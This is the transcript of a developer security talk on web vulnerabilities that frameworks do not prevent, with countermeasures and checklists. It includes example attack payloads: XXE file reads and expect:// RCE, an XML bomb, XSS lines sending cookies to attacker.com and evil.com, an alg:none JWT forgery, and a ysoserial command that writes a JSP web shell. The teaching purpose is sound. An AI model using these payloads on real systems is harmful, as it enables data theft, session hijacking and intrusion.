Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Real Security Starts where Frameworks End

Real Security Starts where Frameworks End

Web frameworks help us solve a couple of security problems out-of-the-box, but in order to build web applications with a really high security level, there is still some work left.

Thomas Konrad

May 18, 2018
Tweet

More Decks by Thomas Konrad

Other Decks in Programming

Transcript

  1. Why we‘re here • Frameworks solve some security problems, but

    not all o We’ll discuss vulnerability classes where your framework won’t help o Demos o You’ll get a “Developer’s Checklist” at the end of each vulnerability class • It‘s getting technical! (Finally) • Learn, share, get excited, discuss! • Start thinking like an attacker, and have fun with it! • Questions? Ask them right away! 2018 - SBA Research gGmbH
  2. MODERN WEB FRAMEWORKS What they can do for us security-wise,

    and what they can‘t do 2018 - SBA Research gGmbH
  3. Modern Web Frameworks • Which security flaws are treated out-of-the-

    box? • Where does the developer have to care? • Where do frameworks not help at all? 2018 - SBA Research gGmbH
  4. Modern Web Frameworks • Server-Side o ASP.NET MVC o Spring

    o Ruby on Rails o Symfony o Django o Node.js • Client-Side o Vue.js o AngularJS o React o Ember.js 2018 - SBA Research gGmbH
  5. OWASP Top 10 • A1-Injection • A2-Broken Authentication and Session

    Management • A3-Sensitive Data Exposure • A4-XML External Entities (XXE) • A5-Broken Access Control • A6-Security Misconfiguration • A7-Cross-Site Scripting (XSS) • A8-Insecure Deserialization • A9-Using Components with Known Vulnerabilities • A10-Insufficient Logging and Monitoring • ... • Cross-Site Request Forgery 2018 - SBA Research gGmbH
  6. Current Server-Side Frameworks • A1-Injection • A2-Broken Authentication and Session

    Management • A3-Sensitive Data Exposure • A4-XML External Entities (XXE) • A5-Broken Access Control • A6-Security Misconfiguration • A7-Cross-Site Scripting (XSS) • A8-Insecure Deserialization • A9-Using Components with Known Vulnerabilities • A10-Insufficient Logging and Monitoring • ... • Cross-Site Request Forgery 2018 - SBA Research gGmbH
  7. Current Client-Side Frameworks • A1-Injection • A2-Broken Authentication and Session

    Management • A3-Sensitive Data Exposure • A4-XML External Entities (XXE) • A5-Broken Access Control • A6-Security Misconfiguration • A7-Cross-Site Scripting (XSS) • A8-Insecure Deserialization • A9-Using Components with Known Vulnerabilities • A10-Insufficient Logging and Monitoring • ... • Cross-Site Request Forgery 2018 - SBA Research gGmbH
  8. Conclusion • Modern Web-Frameworks only help against very few security

    flaws out-of-the-box • Developer needs to do manual work o Partly wrong expectations (e.g., XSS and Template Engines) o Frameworks often provide the tools o CSRF token must be inserted manually • But the situation is better than without frameworks! 2018 - SBA Research gGmbH
  9. Conclusion • Security features can be used in a wrong

    way o HQL / DQL injection • Can MVVM frameworks help? o The experience says: Yes for XSS! 2018 - SBA Research gGmbH
  10. Simple XML document • E.g. Login form o Web application

    sends credentials via XML POST /login.php HTTP/1.1 Host: xxe.local Content-Type: application/xml <?xml version="1.0" ?> <user> <username>Pro Hacker</username> <password>SecretPassword!</password> </user> 2018 - SBA Research gGmbH
  11. Doctype Entities • Values can also be defined via entities

    <?xml version="1.0“ ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY username "Pro Hacker" > ]> <user> <username>&username;</username> <password>SecretPassword!</password> </user> 2018 - SBA Research gGmbH
  12. Include files via SYSTEM • SYSTEM can be used to

    include files o Legit case: Document Type Definitions (DTD) • login.dtd <?xml version="1.0"?> <!DOCTYPE user SYSTEM "login.dtd"> <user><username>Pro Hacker</username> <password>SecretPassword!</password> </user> <!DOCTYPE user [ <!ELEMENT note (username,password)> <!ELEMENT username (#PCDATA)> <!ELEMENT password (#PCDATA)>]> 2018 - SBA Research gGmbH
  13. Include files via SYSTEM: Entities • Also possible for entities

    with the URL handler file:// <?xml version="1.0“ ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY username SYSTEM "file:///etc/passwd"> ]> <user> <username>&username;</username> <password>SecretPassword!</password> </user> 2018 - SBA Research gGmbH
  14. Include files via SYSTEM: result 2018 - SBA Research gGmbH

    <?xml version="1.0" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY username SYSTEM "file:///etc/passwd"> ]> <user> <username>root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin [...] </username> <password>SecretPassword!</password> </user>
  15. Vulnerability at Facebook (OpenID) <?xml version="1.0" standalone="no"?> <!DOCTYPE xrds:XRDS [

    [...] <!ENTITY a SYSTEM 'php://filter/read=convert.base64- encode/resource=/etc/passwd'> ]> <xrds:XRDS xmlns:xrds="xri://$xrds" xmlns:openid="http://openid.net/xmlns/1.0" xmlns="xri://$xrd*($v*2.0)"> <XRD> [...] <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>&a;</URI> <openid:Delegate> http://198.x.x.143:7806/delegate </openid:Delegate> </Service> </XRD> </xrds:XRDS> 2018 - SBA Research gGmbH
  16. Vulnerability at Facebook (OpenID) • PHP: With expect-Modul even direct

    Remote Code Execution (RCE!) • Vulnerability is fixed by now • Bug Bounty: $33.500! <!ENTITY a SYSTEM 'expect://id'>]> 2018 - SBA Research gGmbH
  17. Susceptible libraries and frameworks • Spring o 3.0.0 to 3.2.3

    (Spring OXM & Spring MVC) o 4.0.0.M1 (Spring OXM) o 4.0.0.M1-4.0.0.M2 (Spring MVC) • .NET o XmlTextReader o XMLDocument < 4.6 • iOS o iOS <= 4 • PHP o If libxml_disable_entity_loader isn’t used • And many more! 2018 - SBA Research gGmbH
  18. XML Bomb • Same example like before: External Entity <?xml

    version="1.0“ ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY username "Pro Hacker" > ]> <user> <username>&username;</username> <password>SecretPassword!</password> </user> 2018 - SBA Research gGmbH
  19. XML Bomb • What if we define the entities recursively?

    <?xml version="1.0"?> <!DOCTYPE user [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;..."> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;..."> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;..."> <!ENTITY ...> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;..."> ]> <user> <username>&lol9;</username> <password>SecretPassword!</password> </user> 2018 - SBA Research gGmbH
  20. XML Bomb: Auswirkungen • Example of the previous slide o

    Quadratic increase of memory usage o Almost 3 GB RAM used o Can be used indefinitely o Denial of Service! 2018 - SBA Research gGmbH
  21. Counter measures against XXE and XML Bombs? • Multiple solutions

    o Disallow Document Type Definitions (also disallows DTD) o Disallow external Entities • Depends on parser library o All common ones have config options 2018 - SBA Research gGmbH
  22. Counter measures against XXE and XML Bombs in Java? 2018

    - SBA Research gGmbH try { SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader reader = saxParser.getXMLReader(); // Xerces 1: // http://xerces.apache.org/xerces-j/features.html#external-general-entities // Xerces 2: // http://xerces.apache.org/xerces2-j/features.html#external-general-entities // Using the SAXParserFactory's setFeature spf.setFeature("http://xml.org/sax/features/external-general-entities", false); // Using the XMLReader's setFeature reader.setFeature("http://xml.org/sax/features/external-general-entities", false); // Xerces 2 only: // http://xerces.apache.org/xerces-j/features.html#external-general-entities spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // remaining parser logic // ... } catch (ParserConfigurationException e) { // Tried an unsupported feature. } catch (...) {
  23. Counter measures against XXE and XML Bombs in PHP? •

    If libxml is used bool libxml_disable_entity_loader ([ bool $disable = true ] ) 2018 - SBA Research gGmbH
  24. Counter measures against XXE and XML Bombs in .NET? •

    Before .NET 4.0 • .NET 4.0 and newer • .NET 4.6 and newer o Protected by default against XXE XmlReaderSettings settings = new XmlReaderSettings(); settings.ProhibitDtd = true; // Default is 'true' anyway XmlReader reader = XmlReader.Create(stream, settings); XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; XmlReader reader = XmlReader.Create(stream, settings); 2018 - SBA Research gGmbH
  25. Developer‘s Checklist: XXE • Try to avoid XML as input

    • If this isn‘t possible o Configure your XML parser to ignore the Doctype o Configure your XML parser to ignore external Entitites 2018 - SBA Research gGmbH
  26. Insecure Direct Object References • Object references are references to

    internal implementation objects o Files, directories, database entries, etc. … • Exploitable if these references can be manipulated • Attacker has access on content • IDs or paths are often manipulated 2018 - SBA Research gGmbH
  27. Example scenario: Insecure direct object reference • Account detail page

    via GET parameter: • No Verification of Access Control: • An attacker can enter any account number and subsequently see its details: http://www.victim.com/accountDetails?acc_nr=123 String accNr = request.getParameter("acc_nr"); PreparedStatement pstmt = connection.prepareStatement("[...]"); [...] http://www.victim.com/accountDetails?acc_nr=any_accoun t 2018 - SBA Research gGmbH
  28. Insecure Direct Object Reference - Countermeasures • Using user and

    session specific object references o E.g. instead of using the primary key, use user- specific mapping, such as account numbers 1, 2, 3 map to primary keys 10, 12, 25 o Bad: – http://example.com?file=Report123.xls – http://example.com?file=1 o Better: – http://example.com?file=436345345 – http://example.com?file=157667344 • Check permissions for the page 2018 - SBA Research gGmbH
  29. YES NO Authorization at every request NO YES Statisticly random

    ID Description 1 Description 2 • Security-related acceptable solution • Enumeration of the available documents possible • Request example: http://app.at/download.j sp?DOC_ID=1056 • Security-related not acceptable • Request example: http://app.at/download.j sp?DOC_ID=1056 • Security-related not recommended • Access is possible if ID is known and the user is logged in • Request example: http://app.at/download.j sp?DOC_ID=f52fc055c48f30 7aa79532ec8caa9783 • Security-related best solution • Defensive programming • Request example: http://app.at/download.j sp?DOC_ID=f52fc055c48f30 7aa79532ec8caa9783 Authorization at file download 2018 - SBA Research gGmbH
  30. Secure access control – in practice • Citibank got hacked

    in 2011 by insecure direct object reference • Course of the attack o Attacker logged in with a valid account into the customer area for credit card users o One parameter was incremented 10000x (Brute-force- attack) o This made it possible to see the accounts of other users o Data of these customers (Account number, email, payment history, etc.) got sold • (direct) damage: 217.000 credit cards were re-issued. Quelle: http://www.heise.de/security/meldung/Datenklau-bei-der-Citibank-gelang-durch-simple-URL-Manipulation-1260559.html 2018 - SBA Research gGmbH
  31. Hack Yourself: How To Find IDOR? • Look for requests

    that fulfil the following requirements o The request contains an ID that references an object (e.g., https://bank.com/account- details?nr=5837148) o Only the currently logged-in user or a limited set of users have access to that object – Bank accounts – Transaction details – Messages in a messenger – Orders in an online shop – Documents in a document management system 2018 - SBA Research gGmbH
  32. Hack Yourself: How To Find IDOR? • Get two user

    accounts where the access rights to that object differ • Prepare a request for every user (with the corresponding session ID) • Exchange object IDs • See what happens! o Can see the object? 403? • If you don’t have another user account (because you’re doing a free pentest for someone else, which you shouldn’t) o Iterate over many possible values for the object ID 2018 - SBA Research gGmbH
  33. Developer‘s Checklist: IDOR • Look for requests that fulfil the

    following requirements o The request contains an ID that references an object (e.g., https://bank.com/account- details?nr=5837148) o Only the currently logged-in user or a limited set of users have access to that object • Implement strict access control for these requests! • Use UUIDs as object IDs as a second line of defense 2018 - SBA Research gGmbH
  34. Reflected XSS • XSS Vulnerability o User input is sent

    from the server to the browser o Without validating or escaping the output data • Example - error.jsp: • Normal case: http://www.example.com/error.php?msg=hello • Attacker: http://www.example.com/error.php?msg=<script>al ert(1)</script> <html><head></head><body> <% out.println(request.getParameter("message")); %> </body></html> 2018 - SBA Research gGmbH
  35. Stored XSS • Postings in an Internet forum are stored

    without validation: • The application performs no output encoding • Input of the attacker: • When the article is viewed: Session-cookie is sent to attacker <script>document.location='http://www.attacker.com/a.php?p='+ document.cookie</script> String articleContent = request.getParameter("article_content"); [...] String query = "INSERT INTO article VALUES ([...], '" + articleContent + "' [...]"); 2018 - SBA Research gGmbH
  36. Reflected XSS – Course of action 2. The attacker send

    a prepared URL to the victim 1. The victim logs on 7. The attacker takes over the victim’s session Attacker Victim Webapplication 3. The victim clicks on prepared URL 4. The server answers with the attacker’s JavaScript-code 5. JavaScript-code is interpreted by the victim’s browser 6. The victim’s browser sends the victim’s session-token to the attacker 2018 - SBA Research gGmbH
  37. Stored XSS – Course of action 2. The victim logs

    on 7. The attacker takes over the victim’s session Attacker Victim Webapplication 3. The victim requests the attacker’s message 4. The server answers with the attacker’s JavaScript-code 5. JavaScript-code is interpreted by the victim‘s browser 6. The victim’s browser sends the victim’s session-token to the attacker 1. The attacker stores malicious JavaScript-code embedded in a forum’s message in the webapplication’s database 2018 - SBA Research gGmbH
  38. Output escaping – HTML Entity Encoding • For content between

    two tags: • Replace all symbols with a special meaning in HTML: o & --> &amp; o < --> &lt; o > --> &gt; o " --> &quot; o ' --> &#x27; o / --> &#x2F; – forward slash is included because it helps to end a HTML tag <body>UNTRUSTED_DATA</body> <div>UNTRUSTED_DATA</div> 2018 - SBA Research gGmbH
  39. Output escaping - HTML Attribute Encoding • For content inside

    of attributes: • With correctly quoted strings, one can only break out with a quote o But quotes (or doublequotes) are often missing • Recommended transformation: o Except for alphanumeric characters, escape all characters less than 256 with the „Numeric Character Reference” &#xHH; (or a named entity if available) <div attr=UNTRUSTED_DATA>content</div> <div attr='UNTRUSTED_DATA'>content</div> <div attr="UNTRUSTED_DATA">content</div> 2018 - SBA Research gGmbH
  40. Output escaping – JavaScript Data Encoding • User Input inside

    JavaScript values: • No user input in places where code is directly executed • Recommended transformation: o Except for alphanumeric characters, escape all characters less than 256 with the \xHH format to prevent switching out of the data value into the script context or into another attribute. o Do not use any escaping shortcuts like \" because the quote character may be matched by the HTML attribute parser which runs first. <script>alert('UNTRUSTED_DATA')</script> <script>x='UNTRUSTED_DATA'</script> <div onmouseover="x='UNTRUSTED_DATA'"</div> 2018 - SBA Research gGmbH
  41. Practical example: Fault tolerance in browsers as a security risk

    • Which of these characters are dangerous? o User input gets inserted at [user-input] • In general only the " • But the following code is run by all modern browsers … • Reason: Fault tolerance is more important than strict JavaScript interpretation • Solution: Server has to do the output encoding correctly <script> var a="abc[user-input]def"; </script> <script> var a="abc</script><script>alert(1);</script>def"; </script> 2018 - SBA Research gGmbH
  42. XSS: Code Review • Green = save with most TE,

    orange = watch out red = not save with most TE (TE = Template Engine) <html> <head> <script> var a = '{{ output }}'; var b = "{{ output }}"; var {{ output }} = 'value'; // {{ output }} </script> </head> <body> <h1>{{ output }}</h1> <p attr="{{ output }}" attr='{{ output}}' attr={{ output }} {{ output }}="value“ style="color: #{{ output }}"> {{ output }} <{{ output }}></{{ output }}> </p> </body> </html>
  43. HTML input validation • Secure validation of HTML costly and

    error- prone o Vulnerability in MySpace allowed for SamyWorm • Secure validation frameworks are available o DomPurify (JavaScript) o HTML Purifier (PHP) o AntiSamy (Java) 2018 - SBA Research gGmbH
  44. Content Security Policy “It’s not a matter of if you

    will introduce an XSS vulnerability, but when.” Ben Vinegar, Disqus 2018 - SBA Research gGmbH
  45. HTML output encoding • The good sides o When done

    right, it works really well o Frameworks (Template Engines) can do that o Often activated by default • The bad sides o Legacy websites don’t use template engines o Often a manual process o It can be done wrong o It is often done wrong 2018 - SBA Research gGmbH
  46. CSP: A Word Of Warning 1. CSP is not a

    solution for XSS! 2. CSP is only a defense in depth! 3. Correct Output encoding is the only solution. 2018 - SBA Research gGmbH
  47. What is CSP? • New HTTP response header • Created

    for reducing XSS risk • Whitelist for dynamic resources Content-Security-Policy: script-src 'self' cdn.example.com <script src="//cdn.example.com/jquery.min.js"></script> <script src="/js/app.js"></script> <script src="http://evil.com/pwnage.js"></script> Refused to load the script 'http://evil.com/pwnage.js' because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com". 2018 - SBA Research gGmbH
  48. CSP: Inline scripts are disabled by default 2018 - SBA

    Research gGmbH Content-Security-Policy: script-src 'self' cdn.example.com Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com" <script>new Image('http://evil.com/?cookie=' + document.cookie);</script>
  49. CSP: More than just scripts 2018 - SBA Research gGmbH

    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com google-analytics.com; style-src 'self' ajax.googleapis.com; connect-src 'self' https://api.myapp.com realtime.myapp.com:8080; media-src 'self' youtube.com; object-src 'self' youtube.com; frame-src 'self' youtube.com embed.ly
  50. CSP: Violation Reporting • URI endpoint gets JSON over HTTP-POST

    Content-Security-Policy: default-src 'self'; report-uri http://mysite.com/report.php { "csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/", "blocked-uri": "http://evil.example.com/evil.js", "violated-directive": "default-src 'self'", "original-policy": "default 'self'; report-uri http://mysite.com/report.php" } } 2018 - SBA Research gGmbH
  51. CSP: Violation Reporting • Why violation reporting? o For trying

    CSP without problems – Content-Security-Policy-Report-Only o Notifies in case of a possible XSS attack 2018 - SBA Research gGmbH
  52. CSP: Violation Reporting • Set up a new service and

    wait? o Not necessarily o https://report-uri.io/ o No notifications in case of a policy violation (yet). 2018 - SBA Research gGmbH
  53. CSP 2: Hashes • Allows whitelisting of script content (also

    inline) • Content gets hashed and hash is defined as source Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-YWIzOW[...]3OAo=' <script>alert('Hello, world.');</script> <!– Works, hash matches content --> <script> alert('Hello, world.');</script> <!– Doesn’t work (see white space at the beginning)! --> 2018 - SBA Research gGmbH
  54. CSP 2: Nonces • Allows whitelisting of inline scripts •

    Is generated for every page refresh • Static nonces are not only useless, but also dangerous! • Disables all other directives Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3' <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"> alert("Allowed because nonce is valid.") </script> <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3" src="https://elsewhere.com/allowed-because-nonce-is- valid.js"> </script> 2018 - SBA Research gGmbH
  55. CSP Level 3 • Not finished yet! • Improvements over

    Level 2 [1] o Completely new formulated (simpler) o frame-src got undeprecated, child-src deprecated o report-uri is now report-to, Reporting- scheme was set to Reporting API 1 [2] (Draft) o manifest-src [3] was added o Much more detail improvements. 2018 - SBA Research gGmbH
  56. CSP Bypasses • Sebastian Lekies collects bypasses: http://sebastian-lekies.de/csp/bypasses.php o DOM

    based XSS via cached content (Nonce stays the same) o Insertion point directly before nonced script element – nonce='224446802'. For the browser, it looks like the nonce attribute of the injected script element o Predicting the nonce (bad randomness) o And many more <script src='//evil.com/a.js' foo=<script nonce='224446802'>console.log('nonced script')</script> 2018 - SBA Research gGmbH
  57. CSP for my site? 1. Extract all your inline scripts!

    2. Analyse, where dynamic ressources are coming from 3. Define directives one at a time 4. Start with Report-Only 5. Test very carefully, start with important modules 6. Activate it a) but keep report-uri! 7. Nonetheless, prevent XSS in your application! 2018 - SBA Research gGmbH
  58. CSP: Resources • https://report-uri.io/home/generate (CSP Builder) • https://scotthelme.co.uk/csp-cheat-sheet/ • http://content-security-policy.com/

    • http://www.html5rocks.com/en/tutorials/security/content-security- policy/ (Introduction) • https://www.w3.org/TR/2012/CR-CSP-20121115/ (CSP Level 1.0) • https://www.w3.org/TR/2014/WD-CSP11-20140211/ (CSP Level 1.1) • https://www.w3.org/TR/CSP/ (CSP Level 2) • https://www.w3.org/TR/CSP3/ (CSP Level 3, Draft) • https://report-uri.io (Violation Reporting) • https://securityheaders.io (Self test) • http://erlend.oftedal.no/blog/csp/readiness/ (Test browser readiness) • http://www.cspplayground.com/ • http://sebastian-lekies.de/csp/bypasses.php 2018 - SBA Research gGmbH
  59. Recommendations Regarding CSP • If you start from the green

    field using MVVM o Use a strict CSP o No unsafe-inline, no unsafe-eval 2018 - SBA Research gGmbH Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none'; report-uri https://your-report-collector.example.com/
  60. Recommendations Regarding CSP • For legacy and more-or-less-modern applications •

    This behaves like o 'unsafe-inline' in CSP1 browsers (useless, but at least your application doesn‘t break) o https: 'nonce-[cspNonce]' in CSP2 browsers o 'nonce-[cspNonce]' 'strict-dynamic' in CSP3 browsers o See here for more details: https://csp.withgoogle.com/docs/strict-csp.html 2018 - SBA Research gGmbH Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' https: 'nonce-<?php echo $cspNonce; ?>' 'strict-dynamic'; base-uri 'none'; report-uri https://your-report-collector.example.com/
  61. Developer‘s Checklist: XSS 1/3 • Use a template engine that

    does automatic HTML output encoding! o Java: JSF o PHP: Twig (don‘t use Smarty) o .NET: Razor o MVVMs come with their own o ... • Do manual, context-sensitive output encoding in non-HTML situations o Most template engines support this o Especially important and widespread: Dynamic output of user input in JavaScript o But also: XML, CSS, CSV, ... 2018 - SBA Research gGmbH
  62. Developer‘s Checklist: XSS 2/3 • Use HTML sanitization when dealing

    with HTML input, but don‘t do it yourself o DomPurify (JavaScript, good one!) o HTML Purifier (PHP) o AntiSamy (Java) o ... • Don‘t do Kung Fu, avoid edge cases! o Don‘t generate HTML in controllers o Don‘t directly manipulate the DOM in MVVM o Stick to the recommendations of your framework • Think: Could I break out of the context here? 2018 - SBA Research gGmbH
  63. Developer‘s Checklist: XSS 3/3 • Use a sensible Content Security

    Policy (CSP) as a second line of defense o This behaves like – 'unsafe-inline' in CSP1 browsers (useless, but at least your application doesn‘t break) – https: 'nonce-[cspNonce]' in CSP2 browsers – 'nonce-[cspNonce]' 'strict-dynamic' in CSP3 browsers 2018 - SBA Research gGmbH Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' https: 'nonce-[cspNonce]' 'strict-dynamic'; base-uri 'none'; report-uri https://your-report-collector.example.com/
  64. Passwort Reset • Some famous “hacks” were done with errors

    in the password reset process (e.g. Sarah Palin email hack) • This functionality is interesting for hackers because it can be used anonymously • Common attack patterns o Enumeration of user accounts o Email account got hacked => Hacker can take over ALL accounts of the user, because the password can be reset via email – How secure is your smartphone? 2018 - SBA Research gGmbH
  65. JSON WEB TOKENS (JWT) How they work and what they

    are made for. And most importantly: What they are not made for. 2018 - SBA Research gGmbH
  66. What is JWT? • A means of representing claims to

    be transferred between two parties o Compact o URL-Safe • Claims are encoded as a JSON object • Additional Signature or Encryption • Specification: RFC7519 o https://tools.ietf.org/html/rfc7519 • JSON Web Token Structure: o Header: Type (typ), algorithm (alg) o Payload: JSON-Object, Contents (user name, roles) o Signature: Digital signature from the issuer 2018 - SBA Research gGmbH
  67. What JWT is not for? • For the identification of

    user sessions! • There are many obvious and subtle reasons for that. • Assumption: JWT is used, so that no state has to be hold on the server (statelessness). 2018 - SBA Research gGmbH
  68. JWT isn’t suitable for sessions because ... • ... JWT

    cannot be invalidated until they expire; a real logout is not possible. 2018 - SBA Research gGmbH This expiration date is fix
  69. JWT isn’t suitable for sessions because ... • ... an

    inactivity timeout is not possible by design. 2018 - SBA Research gGmbH
  70. JWT isn’t suitable for sessions because ... • ... the

    security of the authentication is too strongly based on a single value, which the developers can choose by themselves and which has no technical enforced minimum requirements on the complexity: The JWT secret. 2018 - SBA Research gGmbH How secret and complex is this value really?
  71. JWT isn’t suitable for sessions because ... • ... the

    rotation of the secret is really hart, if the JWT is used for sessions. 2018 - SBA Research gGmbH How often does this value change?
  72. JWT isn’t suitable for sessions because ... • JWT tokens

    are not protected against reading access. 2018 - SBA Research gGmbH This information is not secret
  73. JWT bears the danger of... • Secret key reusage over

    multiple SPs • This way, one SP can create a valid token with any user for any other SP! 2018 - SBA Research gGmbH
  74. Known attacks on JWT: alg: none • Some implementation just

    do what the alg field says! • Can you see the design problem? 2018 - SBA Research gGmbH eyJhbGciOiJub25lIn0.eyJ1c2VyIjp7ImlkIjo0 MiwibmFtZSI6IlBhdWwifX0. [Just leave the signature empty] { "alg": "none" }
  75. Known attacks on JWT: RSA or HMAC? • JWT allow

    asymmetric algorithms • JWT libraries have the following method: • verificationKey can be used in two ways: o Using HMAC: The secret HMAC key (a.k.a JWT secret) o Using RSA: The public key of the signature 2018 - SBA Research gGmbH verify(string token, string verificationKey)
  76. Known attacks on JWT: RSA or HMAC? • The public

    key is per definition really public with asymmetric cryptography. • Attack vector o The server waits for a token, which is signed with RSA o The attacker changes the algorithm to HMAC o The server thinks, that the token is a symmetric key • Result o Everyone, who knows the public key, can send valid JWTs. 2018 - SBA Research gGmbH
  77. JWT is simple, but has design flaws • The algorithm

    is part of the token • The sender can choose the algorithm by himself! • The known attacks are based on this fact. 2018 - SBA Research gGmbH The sender can manipulate this
  78. Requirements for secure usage of JWT • The tokens are

    short-lived • The tokens are only used once • Symmetric secrets are only shared between two parties • The application uses sessions (but not with JWT!) • Ad JWT secret o The secret is really secret, complex and rotated regularly o Better: Asymmetric cryptography is used. 2018 - SBA Research gGmbH
  79. Developer‘s Checklist • Don‘t use JWT as session tokens! o

    Simple, random session IDs are so much more secure, flexible, and simple • Use it for SSO, that‘s what it‘s made for! o Simpler replacement for SAML • Use asymmetric crypto o To avoid the multiple-SP problem 2018 - SBA Research gGmbH
  80. What is serialization? 00000000: aced 0005 7372 0036 6f72 672e

    7362 6172 ....sr.6org.sbar 00000010: 6573 6561 7263 682e 6a61 7661 7365 7269 esearch.javaseri 00000020: 616c 697a 6174 696f 6e64 656d 6f2e 5365 alizationdemo.Se 00000030: 6375 7265 436f 6469 6e67 4775 7275 2409 cureCodingGuru$. 00000040: 6629 cb54 a765 0200 0349 000a 736b 696c f).T.e...I..skil 00000050: 6c4c 6576 656c 4c00 0966 6972 7374 4e61 lLevelL..firstNa 00000060: 6d65 7400 124c 6a61 7661 2f6c 616e 672f met..Ljava/lang/ 00000070: 5374 7269 6e67 3b4c 0008 6c61 7374 4e61 String;L..lastNa 00000080: 6d65 7100 7e00 0178 7000 0000 0974 0003 meq.~..xp....t.. 00000090: 4d61 7874 000a 4d75 7374 6572 6d61 6e6e Maxt..Mustermann package org.sbaresearch.javaserializationdemo; import java.io.Serializable; public class SecureCodingGuru implements Serializable { private String firstName; private String lastName; private int skillLevel; public SecureCodingGuru() { this.firstName = "Max"; this.lastName = "Mustermann"; this.skillLevel = 9; } } 2018 - SBA Research gGmbH
  81. Adapting the serialization- /deserialization process • Developers can adapt serialization-

    /deserialization process o Serialization – .writeObject() – .writeReplace() – .writeExternal() o Deserialization – .readObject() – .readResolve() – .readExternal() – .validateObject() 2018 - SBA Research gGmbH
  82. The vulnerability • Vulnerable deserialization function o Runs a, by

    the attacker wanted, functionality (e.g. creating a file) based on the values of member variables o Attacker can change member variables • Vulnerable implementations are called “Gadgets” 2018 - SBA Research gGmbH
  83. Anatomy of a gadget 2018 - SBA Research gGmbH ObjectInputStream.readObject()

    package library.y; public class CacheManager implements Serializable { private final Runnable initHook; public void readObject(ObjectInputStream ois) { ois.defaultReadObject(); //populate initHook initHook.run(); } } package library.x; public class CommandTask implements Runnable, Serializable { private final String command; public CommandTask(String command) { this.command = command; } public void run() { Runtime.getRuntime().exec(command); } }
  84. Requirements • Serialized Java object as user input • A

    vulnerable class in the Classpath o Object get deserialized in any case o Attacker can choose class or library • Known libraries are only the tip of the iceberg! 2018 - SBA Research gGmbH
  85. Libraries with known JD vulnerabilites • BeanShell • C3P0 •

    CommonsBeanutils • CommonsCollections • FileUpload • Groovy • Hibernate • JBossInterceptors • JRMPClient • JRMPListener • JSON • JavassistWeld • Jdk7u21 • Jython • MozillaRhino • Myfaces • ROME • Spring • Wicket 2018 - SBA Research gGmbH
  86. Potential impact • Depends on the class / library o

    Remote Code Execution (e.g. Commons Collections) o Writing arbitrary files (e.g. Commons Fileupload) o Denial of Service o Everything is possible! 2018 - SBA Research gGmbH
  87. Exploitation: Finding user input • Directly as serialized object •

    Base64 encoded (Magic Bytes) o rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5v[...] • ASCII-Hex encoded (Magic Bytes) o aced 0005 7372 0032 7375 6e2e 7265 666c POST /spring-remote-invocation HTTP/1.1 Content-Type: application/x-java-serialized-object ¬ísr 5org.springframework.remoting.support.RemoteInvocation[...] 2018 - SBA Research gGmbH
  88. Exploitation: ysoserial • Proof-of-Conzept tool java -jar ysoserial.jar CommonsCollections1 \

    "echo '<% Runtime.getRuntime()\ .exec(request.getParameter("cmd")); %>' >\ /var/www/shell.jsp" 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU..... 00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa 00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti 00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet.. 00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class 00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java. 00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java 000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr [...] 2018 - SBA Research gGmbH
  89. Counter measures • Remove Gadget class from classpath o Amount

    of vulnerable libraries is increasing • Using a blacklist o A bypass could be possible • Sandbox during the deserialization o Execution can happen later (deferred Execution) 2018 - SBA Research gGmbH
  90. Counter measures • Don’t deserialize data, which is not trustworthy!

    o Search for code – ObjectInputStream.readObject() – ObjectInputStream.readUnshared() o where the InputStream comes from the user • Use other formats o JSON, XML, etc. • Patch Libraries with vulnerabilites! 2018 - SBA Research gGmbH
  91. Counter measures (2) 2018 - SBA Research gGmbH public class

